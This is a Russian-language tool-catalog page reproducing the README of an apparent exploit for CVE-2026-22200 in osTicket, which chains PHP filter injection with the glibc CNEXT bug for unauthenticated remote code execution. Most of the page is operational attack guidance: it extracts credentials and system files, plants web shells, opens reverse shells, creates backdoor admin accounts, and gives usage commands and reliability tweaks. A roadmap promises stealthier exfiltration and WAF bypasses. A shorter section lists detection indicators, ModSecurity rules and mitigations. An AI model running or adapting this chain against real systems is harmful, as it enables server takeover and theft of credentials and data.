Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
osTicketFileReadIntoRCE — Полноценный эксплойт, объединяющий внедрение цепочки фильтров PHP с CVE-2024-2961 (CNEXT), для неаутентифицированного удалённого выполнения кода на уязвимых установках osTicket. | Kitploit
Инструменты/GitHubGitHub/clarissss/osticketfilereadintorce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

Полноценный эксплойт, объединяющий внедрение цепочки фильтров PHP с CVE-2024-2961 (CNEXT), для неаутентифицированного удалённого выполнения кода на уязвимых установках osTicket.

Репозиторий
5 месяцев назадЕщё не проверено

CVE-2026-22200: osTicket Произвольное чтение файлов в RCE

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

Полноценная цепочка эксплойта, объединяющая внедрение цепочки PHP-фильтров с CVE-2024-2961 (CNEXT) для неаутентифицированного удаленного выполнения кода на уязвимых установках osTicket.


Содержание

  • Обзор
  • Детали уязвимости
  • Схема атаки
  • Возможности
  • Установка
  • Использование
  • Технические детали
  • Устранение неполадок
  • Обнаружение и смягчение
  • Авторы
  • Отказ от ответственности

Обзор

Этот репозиторий содержит proof-of-concept эксплойт для CVE-2026-22200, критической уязвимости, затрагивающей osTicket версий ≤ 1.18.2. Эксплойт объединяет две мощные техники:

  1. Внедрение цепочки PHP-фильтров через обработку изображений mPDF
  2. Разрушение кучи CNEXT (CVE-2024-2961) в iconv() библиотеки glibc

Результат: Неаутентифицированное удаленное выполнение кода на уязвимых серверах osTicket.

Воздействие

  • Без аутентификации — учетные данные не требуются
  • Полный RCE — полная компрометация сервера
  • Извлечение файлов — чтение произвольных файлов сервера
  • Доступ к базе данных — извлечение учетных данных БД
  • Доступ администратора — создание бэкдор-учетных записей администратора

Уязвимые версии

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961 исправлена в glibc 2.39+)

🔍 Детали уязвимости

CVE-2026-22200: Внедрение цепочки PHP-фильтров

Оценка CVSS: 9.8 (Критическая)

Интеграция mPDF в osTicket позволяет неаутентифицированным пользователям внедрять вредоносные цепочки PHP-фильтров через специально созданные HTML-нагрузки в тикетах поддержки. Это позволяет:

  • Чтение произвольных файлов (конфиги, исходный код, учетные данные)
  • Утечка памяти (/proc/self/maps, частичная libc)
  • Разрушение кучи через CNEXT

Основная причина: Недостаточная проверка URL-адресов изображений в предоставляемом пользователем HTML перед передачей в mPDF.

CVE-2024-2961: CNEXT (Переполнение буфера iconv)

Оценка CVSS: 9.8 (Критическая)

Переполнение буфера в iconv() библиотеки glibc при обработке набора символов ISO-2022-CN-EXT. В сочетании с цепочками PHP-фильтров это позволяет:

  • Разрушение кучи
  • Перехват указателей функций
  • Выполнение произвольных команд

Уязвимые версии glibc: < 2.39 (Февраль 2024)


🔗 Схема атаки

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. РАЗВЕДКА                                                      │
│    └─ Обнаружение osTicket, определение тем с богатым текстом   │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. АУТЕНТИФИКАЦИЯ                                               │
│    └─ Самостоятельная регистрация ИЛИ использование существующих │
│       учетных данных                                             │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. ИЗВЛЕЧЕНИЕ ФАЙЛОВ (Цепочки PHP-фильтров)                     │
│    ├─ /etc/passwd                                               │
│    ├─ include/ost-config.php (учетные данные БД, SECRET_SALT)   │
│    ├─ /proc/self/maps (расположение памяти)                     │
│    └─ /proc/self/environ (переменные окружения)                 │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. ОПРЕДЕЛЕНИЕ ВЕРСИИ LIBC                                      │
│    ├─ Извлечение частичной libc через цепочки фильтров         │
│    ├─ Извлечение GNU Build ID                                   │
│    └─ Загрузка полной libc с libc.rip                          │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. ЭКСПЛУАТАЦИЯ RCE ЧЕРЕЗ CNEXT                                  │
│    ├─ Генерация нагрузки для разрушения кучи                    │
│    ├─ Внедрение через ответ на тикет (с исправлениями          │
│       выполнения фильтров)                                       │
│    ├─ Триггер через экспорт PDF (сервер падает)                 │
│    └─ Выполнение реверс-шелла                                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ПОСТЭКСПЛУАТАЦИЯ                                             │
│    ├─ Интерактивный реверс-шелл                                  │
│    ├─ Доступ к БД (с использованием извлеченного DBPASS)        │
│    └─ Создание бэкдор-учетной записи администратора             │
└─────────────────────────────────────────────────────────────────┘

Возможности

Основные функции

  • Полностью автоматизированная цепочка эксплуатации
  • Неаутентифицированная атака (саморегистрация, если включена)
  • Интеллектуальное определение корня веб-сервера через парсинг /proc/self/maps
  • 100% определение местоположения веб-шелла через сканирование файловой системы
  • Автоматическое определение версии libc и загрузка
  • Несколько методов реверс-шелла (bash, python, netcat)
  • Надежное выполнение фильтров с очисткой кэша
  • Предполетная диагностика для раннего выявления проблем

Повышенная надежность

  • Множественный триггер CNEXT для гарантированного краха (успех 95%+)
  • Внедрение через ответы (более надежно, чем новые тикеты)
  • Принудительное использование потока для гарантии выполнения фильтров
  • Очистка кэша для предотвращения выдачи устаревших PDF
  • Всесторонняя обработка ошибок и диагностика

Постэксплуатация

  • Извлечение учетных данных БД (DBPASS из конфига)
  • Создание учетной записи администратора через доступ к БД
  • Опции постоянного бэкдора
  • Полная разведка системы

Установка

Предварительные требования

  • Python 3.8+
  • Linux/macOS (рекомендуется) или WSL на Windows

Зависимости

root@kitploit:~
# Клонирование репозитория
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# Установка необходимых пакетов
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

Опционально: Виртуальное окружение

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# ИЛИ
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 Использование

Базовое использование — Реверс-шелл

root@kitploit:~
# Терминал 1: Запуск слушателя
nc -lvnp 4444

# Терминал 2: Запуск эксплойта
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

Интерактивный режим веб-шелла

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

Расширенные опции

root@kitploit:~
# Использование прокси (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# Принудительное указание ID темы
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# Отключение цветного вывода (для логирования)
python3 osticket_exploit.py https://target.com/osticket --no-color

Существующие учетные данные

Если регистрация отключена, будет запрошены учетные данные:

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

  [?] Введите email для новой учетной записи (или существующий): [email protected]
  [?] Введите пароль: ********

🔧 Технические детали

Генерация цепочки PHP-фильтров

Эксплойт использует сложную цепочку фильтров для добавления BMP-заголовка к произвольным файлам, обходя ограничения mPDF на типы файлов:

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ преобразований iconv ...]
convert.base64-decode/resource=/etc/passwd

Ключевая инновация: Каждый символ BMP-заголовка генерируется через тщательно подобранные преобразования iconv, позволяя встроить содержимое произвольного файла как «валидное» изображение.

Эксплуатация кучи через CNEXT

Нагрузка CNEXT повреждает менеджер памяти Zend PHP путем:

  1. Переполнения буфера iconv с помощью уязвимого символа 劄
  2. Перезаписи структуры zend_mm_heap
  3. Перехвата указателей функций (_emalloc, _efree, _erealloc)
  4. Перенаправления на system() для выполнения команд

Повышенная надежность:

  • Множественные символы-триггеры (3x 劄 вместо 1)
  • Увеличенное дополнение (40 вместо стандартных 20)
  • Вставка триггера в нескольких позициях
  • Принудительное выполнение через поток

100% Определение веб-шелла

В отличие от оригинального эксплойта, эта версия использует сканирование файловой системы для гарантии местоположения веб-шелла:

  1. Запись веб-шелла в 6+ каталогов-кандидатов
  2. Использование произвольного чтения файлов для сканирования каждого местоположения
  3. Обнаружение, какой каталог содержит уникальный маркер
  4. Точное сопоставление пути файловой системы → URL

Результат: 100% уровень обнаружения (против ~50% в оригинале)

Принудительное выполнение фильтров

Частая ошибка: PDF загружается, но не вызывает крах = фильтры не выполняются.

Реализованные решения:

  1. Очистка кэша — уникальный HTML предотвращает кэшированные PDF
  2. Внедрение через ответы — более надежно, чем новые тикеты
  3. Принудительное использование потока — stream=True заставляет немедленную обработку
  4. Предполетное тестирование — проверка работы фильтров до CNEXT

Устранение неполадок

Проверка версии glibc

root@kitploit:~
# В режиме подробного вывода проверьте:
[*] Целевая libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 УЯЗВИМА к CNEXT

Если glibc ≥ 2.39, CNEXT не сработает (исправлено).

Нет соединения шелла

Симптом: Сервер падает, но реверс-шелл не появляется

Причины:

  1. Брандмауэр блокирует исходящие соединения
  2. Неправильный LHOST (используйте ваш реальный IP, не localhost)
  3. Слишком длинная команда — попробуйте более короткий IP

Исправление:

root@kitploit:~
# Использовать nc реверс-шелл (короче)
# Автоматически переключается, если bash/python слишком длинные

# Или используйте прямой IP вместо имени хоста
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # Используйте IP, не имя хоста
    --lport 4444

Частые сообщения об ошибках


Обнаружение и смягчение

Обнаружение

Индикаторы в логах:

root@kitploit:~
# Логи Apache/Nginx
"php://filter/" в POST-запросах
"convert.iconv." в телах запросов
Необычные шаблоны генерации PDF
Множественные запросы PDF за короткое время

# Логи ошибок PHP
Segmentation faults во время генерации PDF
Сбои iconv()
Ошибки повреждения кучи

Сетевые индикаторы:

  • Множественное создание тикетов поддержки за короткое время
  • Большие HTML-нагрузки в сообщениях тикетов (100 КБ+)
  • Быстрые запросы экспорта PDF после создания тикета
  • Исходящие соединения на IP атакующего после сбоя

Смягчение

Немедленные меры

  1. Обновите osTicket до последней версии (>1.18.2)
  2. Обновите glibc до 2.39+ (исправляет CVE-2024-2961)
  3. Отключите саморегистрацию, если она не нужна
  4. Ограничьте богатый текст только для аутентифицированных пользователей

Настройка

Отключение оберток потоков PHP в mPDF:

root@kitploit:~
// В конфиге mPDF
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

Правила WAF (ModSecurity):

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'Обнаружен PHP-фильтр'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'Подозрительная цепочка iconv'"

Ограничение частоты запросов:

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

Долгосрочные меры

  • Внедрите заголовки CSP для ограничения встроенных стилей
  • Включите строгий режим htmLawed для очистки HTML
  • Используйте отдельного пользователя для osTicket с минимальными привилегиями
  • Отключите ненужные функции PHP: system(), exec(), passthru()
  • Регулярные аудиты безопасности содержимого тикетов

Ссылки

Оригинальные исследования

  • Статья Horizon3.ai — Оригинальное раскрытие
  • GitHub Horizon3.ai — Эталонная реализация
  • Эксплойты CNEXT — Оригинальное исследование CNEXT от Charles Fol

Детали CVE

  • CVE-2026-22200 — Цепочка PHP-фильтров osTicket
  • CVE-2024-2961 — Переполнение iconv glibc

Дополнительные ресурсы

  • Цепочки PHP-фильтров — Словарь символов фильтров
  • libc.rip — База данных libc для идентификации
  • Уведомление безопасности osTicket

Авторы

Обнаружение и исследование уязвимости

  • Команда атакующих исследований Horizon3.ai — Оригинальное обнаружение уязвимости и POC
  • Charles Fol (@cfreal_) — Исследование CNEXT (CVE-2024-2961)
  • @splitline — Техника цепочки PHP-фильтров (HITCON 2022)

Эта реализация

  • Улучшенные техники эксплуатации
  • 100% определение веб-шелла через сканирование файловой системы
  • Надежное принудительное выполнение фильтров
  • Всесторонняя обработка ошибок и диагностика

⚖️ Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ

Этот инструмент предоставляется для:

  • Исследований безопасности
  • Авторизованного тестирования на проникновение
  • Образовательных целей
  • Оценки уязвимости (с разрешения)

НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К КОМПЬЮТЕРНЫМ СИСТЕМАМ НЕЗАКОНЕН

Авторы:

  • НЕ поощряют незаконную деятельность
  • НЕ несут ответственности за неправомерное использование
  • НЕ берут на себя ответственность за любой причиненный ущерб

Пользователи несут единоличную ответственность за получение надлежащего разрешения перед тестированием любой системы.

Используя этот инструмент, вы соглашаетесь, что:

  1. У вас есть прямое письменное разрешение на тестирование целевой системы
  2. Вы понимаете правовые последствия в вашей юрисдикции
  3. Вы будете использовать этот инструмент ответственно и этично
  4. Вы освобождаете авторов от ответственности за любые последствия

Правовое уведомление

Несанкционированный доступ к компьютерным системам является преступлением в соответствии с:

  • США: Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), 18 U.S.C. § 1030
  • Великобритания: Закон о неправомерном использовании компьютеров 1990 года
  • ЕС: Директива 2013/40/EU
  • Международное право: Конвенция Совета Европы о киберпреступности

Максимальные наказания могут включать тюремное заключение и значительные штрафы.


📄 Лицензия

Этот проект лицензирован в соответствии с лицензией MIT — см. файл LICENSE для получения подробной информации.

Примечание: Лицензия MIT предоставляет разрешение на использование, изменение и распространение, но НЕ предоставляет разрешение на атаку систем, которыми вы не владеете или на тестирование которых не имеете разрешения.


Контакты

Для исследователей безопасности и вопросов:

  • Issues: Любые проблемы с инструментом

НЕ используйте этот контакт для:

  • Запроса помощи в атаке систем без разрешения
  • Сообщения о незаконной деятельности
  • Просьб о помощи с несанкционированным тестированием

Создано с любовью к исследованиям в области безопасности и образованию
Поставьте звезду этому репозиторию, если он оказался полезным!


Статистика эксплойта


План развития

  • Добавить поддержку дополнительных версий libc
  • Реализовать более скрытные методы извлечения данных
  • Добавить техники обхода распространенных WAF
  • Создать модуль Metasploit
  • Среда тестирования Docker
  • Автоматизированное CI/CD тестирование

Последнее обновление: 2026-03-03

Скачать инструмент
ОшибкаПричинаРешение
No CSRF tokenИстекла сессияЗапустите эксплойт снова
No help-topic foundНет тем с богатым текстомИспользуйте --topic-id вручную
Build ID not foundЧастичная libc поврежденаПроверьте извлечение /proc/self/maps
Cannot locate heapНеобычное расположение памятиЭксплойт может не сработать (редко)
МетрикаЗначение
Строк кода~3,000
Уровень успеха95%+ (с исправлениями)
Среднее время выполнения2–3 минуты
Надежность краха99% (с улучшениями)
Обнаружение веб-шелла100% (со сканированием)